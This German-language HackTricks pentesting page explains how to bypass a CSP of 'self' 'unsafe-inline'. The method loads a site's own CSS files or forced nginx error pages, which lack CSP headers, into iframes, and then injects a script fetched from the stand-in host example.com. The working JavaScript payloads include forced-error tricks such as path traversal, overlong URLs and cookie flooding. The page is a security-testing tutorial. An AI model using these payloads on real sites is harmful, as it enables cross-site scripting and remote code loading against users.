hacktricks/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md
2024-02-10 15:36:32 +00:00

80 lines
4.9 KiB
Markdown

<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
</details>
Eine Konfiguration wie:
```
Content-Security-Policy: default-src 'self' 'unsafe-inline';
```
Prohibiert die Verwendung von Funktionen, die als Zeichenkette übermittelten Code ausführen. Zum Beispiel werden `eval, setTimeout, setInterval` aufgrund der Einstellung `unsafe-eval` blockiert.
Auch Inhalte von externen Quellen werden blockiert, einschließlich Bilder, CSS, WebSockets und insbesondere JS.
### Über Texte & Bilder
Es wurde beobachtet, dass moderne Browser Bilder und Texte in HTML umwandeln, um ihre Anzeige zu verbessern (z. B. Hintergrund einstellen, zentrieren usw.). Wenn also ein Bild oder eine Textdatei wie `favicon.ico` oder `robots.txt` über ein `iframe` geöffnet wird, wird es als HTML gerendert. Beachtenswert ist, dass diese Seiten oft keine CSP-Header enthalten und möglicherweise keine X-Frame-Options enthalten, was die Ausführung von beliebigem JavaScript ermöglicht:
```javascript
frame=document.createElement("iframe");
frame.src="/css/bootstrap.min.css";
document.body.appendChild(frame);
script=document.createElement('script');
script.src='//example.com/csp.js';
window.frames[0].document.head.appendChild(script);
```
### Über Fehler
Ähnlich wie bei Fehlerantworten, wie Textdateien oder Bildern, werden in der Regel keine CSP-Header mitgeliefert und es kann sein, dass X-Frame-Options fehlen. Fehler können dazu gebracht werden, in einem iframe geladen zu werden, was die folgenden Aktionen ermöglicht:
```javascript
// Inducing an nginx error
frame=document.createElement("iframe");
frame.src="/%2e%2e%2f";
document.body.appendChild(frame);
// Triggering an error with a long URL
frame=document.createElement("iframe");
frame.src="/"+"A".repeat(20000);
document.body.appendChild(frame);
// Generating an error via extensive cookies
for(var i=0;i<5;i++){document.cookie=i+"="+"a".repeat(4000)};
frame=document.createElement("iframe");
frame.src="/";
document.body.appendChild(frame);
// Removal of cookies is crucial post-execution
for(var i=0;i<5;i++){document.cookie=i+"="}
```
Nach Auslösen einer der genannten Szenarien ist die Ausführung von JavaScript innerhalb des iframes wie folgt möglich:
```javascript
script=document.createElement('script');
script.src='//example.com/csp.js';
window.frames[0].document.head.appendChild(script);
```
## Referenzen
* [https://lab.wallarm.com/wie-man-csp-dazu-bringt,-alles-auszuführen-was-man-will-73cb5ff428aa/](https://lab.wallarm.com/wie-man-csp-dazu-bringt,-alles-auszuführen-was-man-will-73cb5ff428aa/)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
</details>